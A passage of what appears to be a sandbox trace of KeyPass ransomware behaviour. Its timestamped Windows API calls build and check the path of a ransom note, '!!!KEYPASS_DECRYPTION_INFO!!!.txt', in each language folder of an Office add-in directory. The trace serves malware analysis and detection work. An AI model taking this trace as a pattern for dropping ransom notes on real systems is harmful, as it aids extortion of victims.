Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ar\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.825] GetFileType (hFile=0x10e8) returned 0x1 [0272.826] CloseHandle (hObject=0x10e8) returned 1 [0272.826] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.826] GetLastError () returned 0x3f0 [0272.826] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.826] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\as\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.827] GetFileType (hFile=0x10ec) returned 0x1 [0272.827] CloseHandle (hObject=0x10ec) returned 1 [0272.827] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.827] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.827] GetLastError () returned 0x3f0 [0272.828] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.828] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\az-Latn-AZ\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.829] GetFileType (hFile=0x10d4) returned 0x1 [0272.830] CloseHandle (hObject=0x10d4) returned 1 [0272.830] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.830] GetLastError () returned 0x3f0 [0272.830] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.830] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\be\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.830] GetFileType (hFile=0x10f0) returned 0x1 [0272.831] CloseHandle (hObject=0x10f0) returned 1 [0272.831] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.831] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.831] GetLastError () returned 0x3f0 [0272.831] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.831] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bg\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.832] GetFileType (hFile=0x10f4) returned 0x1 [0272.833] CloseHandle (hObject=0x10f4) returned 1 [0272.833] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.833] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.833] GetLastError () returned 0x3f0 [0272.833] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.833] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-BD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.834] GetFileType (hFile=0x10f8) returned 0x1 [0272.835] CloseHandle (hObject=0x10f8) returned 1 [0272.835] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.835] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.835] GetLastError () returned 0x3f0 [0272.835] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.835] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bn-IN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.836] GetFileType (hFile=0x10fc) returned 0x1 [0272.837] CloseHandle (hObject=0x10fc) returned 1 [0272.837] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.837] GetLastError () returned 0x3f0 [0272.837] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.837] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\bs-Latn-BA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.838] GetFileType (hFile=0x1100) returned 0x1 [0272.839] CloseHandle (hObject=0x1100) returned 1 [0272.839] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.839] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.839] GetLastError () returned 0x3f0 [0272.839] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.839] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.840] GetFileType (hFile=0x1104) returned 0x1 [0272.840] CloseHandle (hObject=0x1104) returned 1 [0272.840] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.841] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.841] GetLastError () returned 0x3f0 [0272.841] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.841] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca-ES-valencia\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.842] GetFileType (hFile=0x1108) returned 0x1 [0272.843] CloseHandle (hObject=0x1108) returned 1 [0272.843] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.843] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.843] GetLastError () returned 0x3f0 [0272.843] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.843] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.844] GetFileType (hFile=0x110c) returned 0x1 [0272.845] CloseHandle (hObject=0x110c) returned 1 [0272.845] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.845] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.845] GetLastError () returned 0x3f0 [0272.845] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.845] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cy\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.846] GetFileType (hFile=0x1110) returned 0x1 [0272.846] CloseHandle (hObject=0x1110) returned 1 [0272.847] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.847] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.847] GetLastError () returned 0x3f0 [0272.847] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.847] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.848] GetFileType (hFile=0x1118) returned 0x1 [0272.848] CloseHandle (hObject=0x1118) returned 1 [0272.849] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.849] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.849] GetLastError () returned 0x3f0 [0272.849] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.849] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.850] GetFileType (hFile=0x111c) returned 0x1 [0272.850] CloseHandle (hObject=0x111c) returned 1 [0272.851] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.851] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.851] GetLastError () returned 0x3f0 [0272.851] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.851] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.852] GetFileType (hFile=0x1120) returned 0x1 [0272.853] CloseHandle (hObject=0x1120) returned 1 [0272.853] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.853] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.853] GetLastError () returned 0x3f0 [0272.853] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.853] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\es\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.854] GetFileType (hFile=0x1124) returned 0x1 [0272.855] CloseHandle (hObject=0x1124) returned 1 [0272.855] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.855] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.855] GetLastError () returned 0x3f0 [0272.855] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.855] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\et\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.856] GetFileType (hFile=0x1128) returned 0x1 [0272.857] CloseHandle (hObject=0x1128) returned 1 [0272.857] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.857] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.857] GetLastError () returned 0x3f0 [0272.857] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.857] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\eu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.858] GetFileType (hFile=0x112c) returned 0x1 [0272.859] CloseHandle (hObject=0x112c) returned 1 [0272.859] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.859] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.859] GetLastError () returned 0x3f0 [0272.859] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.859] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.861] GetFileType (hFile=0x1114) returned 0x1 [0272.861] CloseHandle (hObject=0x1114) returned 1 [0272.862] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.862] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.862] GetLastError () returned 0x3f0 [0272.862] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0272.862] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0272.863] GetFileType (hFile=0x1130) returned 0x1 [0272.863] CloseHandle (hObject=0x1130) returned 1 [0272.863] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0272.864] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0272.864] GetLastError () returned 0x3f0 [0272.864] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fil\\", 